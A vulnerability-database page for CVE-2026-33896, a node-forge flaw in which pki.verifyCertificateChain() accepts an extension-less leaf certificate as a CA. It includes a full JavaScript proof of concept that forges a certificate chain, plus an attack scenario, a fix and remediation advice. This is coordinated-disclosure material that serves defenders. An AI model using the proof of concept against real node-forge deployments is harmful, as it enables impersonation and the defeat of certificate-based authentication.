Skip to main content

node-forge CVE-2026-33896

CRITICAL
Improper Certificate Validation (CWE-295)
2026-03-26 https://github.com/digitalbazaar/forge
9.1
CVSS 3.1 · NVD
Share

Severity by source

NVD PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI
7.4 HIGH

Network-reachable trust decision with no auth or interaction (PR:N/UI:N), but AC:H since it needs an extension-less trusted leaf and a node-forge verifier; high C/I from impersonation, no availability impact.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Red Hat
7.4 HIGH
qualitative

Primary rating from NVD.

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

11
Analysis Updated
Jun 30, 2026 - 03:58 vuln.today
v5 (cvss_changed)
Analysis Updated
Jun 30, 2026 - 03:54 vuln.today
v4 (cvss_changed)
Analysis Updated
Jun 30, 2026 - 03:53 vuln.today
v3 (cvss_changed)
Source Code Evidence Fetched
Jun 30, 2026 - 03:53 vuln.today
Analysis Updated
Jun 30, 2026 - 03:53 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 30, 2026 - 03:24 vuln.today
cvss_changed
Severity Changed
Jun 30, 2026 - 03:24 NVD
HIGH CRITICAL
CVSS changed
Jun 30, 2026 - 03:24 NVD
7.4 (HIGH) 9.1 (CRITICAL)
Analysis Generated
Mar 26, 2026 - 22:16 vuln.today
Patch released
Mar 26, 2026 - 22:16 nvd
Patch available
CVE Published
Mar 26, 2026 - 22:05 nvd
HIGH 7.4

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 64,023 npm packages depend on node-forge (2,805 direct, 61,321 indirect)

Ecosystem-wide dependent count for version 1.4.0.

DescriptionNVD

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

  1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
  2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires: > "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

javascript
const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root - NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension - NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

Results:

  • Certificate with NO extensions: ACCEPTED as CA (vulnerable - violates RFC 5280)
  • Certificate with basicConstraints.cA=false: correctly rejected
  • Certificate with keyUsage (no keyCertSign): correctly rejected
  • Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for:

  • Custom PKI / certificate pinning implementations
  • S/MIME / PKCS#7 signature verification
  • IoT device certificate validation
  • Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as:

  • CVE-2014-0092 (GnuTLS) - certificate verification bypass
  • CVE-2015-1793 (OpenSSL) - alternative chain verification bypass
  • CVE-2020-0601 (Windows CryptoAPI) - crafted certificate acceptance

Not a Duplicate

This is distinct from:

  • CVE-2025-12816 (ASN.1 parser desynchronization - different code path)
  • CVE-2025-66030/66031 (DoS and integer overflow - different issue class)
  • GitHub issue #1049 (null subject/issuer - different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

javascript
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}

Disclosure Timeline

  • 2026-03-10: Report submitted via GitHub Security Advisory
  • 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) - doruk.ch

AnalysisAI

Certificate chain spoofing in node-forge (npm) <= 1.3.3 lets an attacker present any non-CA leaf certificate as a trusted intermediate CA, because pki.verifyCertificateChain() skips RFC 5280 basicConstraints enforcement when a certificate carries neither the basicConstraints nor the keyUsage extension. An attacker holding such a leaf certificate can sign certificates for arbitrary identities and have node-forge accept the forged chain, defeating authentication for any application relying on it for custom PKI, S/MIME, PKCS#7, or device-certificate validation. Rated CVSS 9.1 by the reporter and fixed in 1.4.0; publicly available exploit code exists (full PoC in the GHSA), but EPSS is only 0.02% and it is not on CISA KEV.

Technical ContextAI

node-forge is a pure-JavaScript TLS/crypto and PKI toolkit widely used in Node.js and browser apps for X.509 handling, S/MIME, PKCS#7/#12, and custom certificate validation (CPE pkg:npm/node-forge). The flaw is a CWE-295 Improper Certificate Validation in lib/x509.js verifyCertificateChain() (around lines 3147-3199): CA authorization is enforced by two independent guards - the keyUsage/keyCertSign check gated on keyUsageExt ! null, and the basicConstraints.cA check gated on bcExt ! null. When an intermediate has neither extension, both guards short-circuit and the certificate is accepted as a CA. This violates RFC 5280 Section 6.1.4 step (k), which requires a v3 certificate used as a CA to carry basicConstraints with cA=TRUE. It is the same vulnerability class as CVE-2014-0092 (GnuTLS), CVE-2015-1793 (OpenSSL alternative-chain bypass), and CVE-2020-0601 (Windows CryptoAPI), and is distinct from the earlier node-forge issues CVE-2025-12816 and CVE-2025-66030/66031.

RemediationAI

Primary fix: upgrade node-forge to 1.4.0 or later (Vendor-released patch: 1.4.0), which adds an explicit rejection when a non-leaf certificate is missing basicConstraints; the upstream change is commit 2e492832fb25227e6b647cbe1ac981c123171e90 (https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90). Update transitive dependencies too, since node-forge is often pulled in indirectly, and on Red Hat systems apply the relevant errata (RHSA-2026:13826, RHSA-2026:24761, RHSA-2026:9742). If you cannot upgrade immediately, the actionable compensating control is to stop trusting node-forge's chain verification for authentication: before relying on verifyCertificateChain()'s result, enforce that every intermediate in an accepted chain explicitly carries basicConstraints cA=TRUE and keyUsage keyCertSign (reject otherwise), or move trust decisions to the platform's native TLS/X.509 validator; the trade-off is that strict basicConstraints enforcement may reject legacy or misissued certificates that previously validated. Reference GHSA-2328-f5f3-gj25 and the patch commit above.

CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

CVE-2014-3470 MEDIUM
4.3 Jun 05

The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before

CVE-2017-3730 HIGH POC
7.5 May 04

In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this

CVE-2016-8610 HIGH
7.5 Nov 13

A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto

Vendor StatusVendor

Share

CVE-2026-33896 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy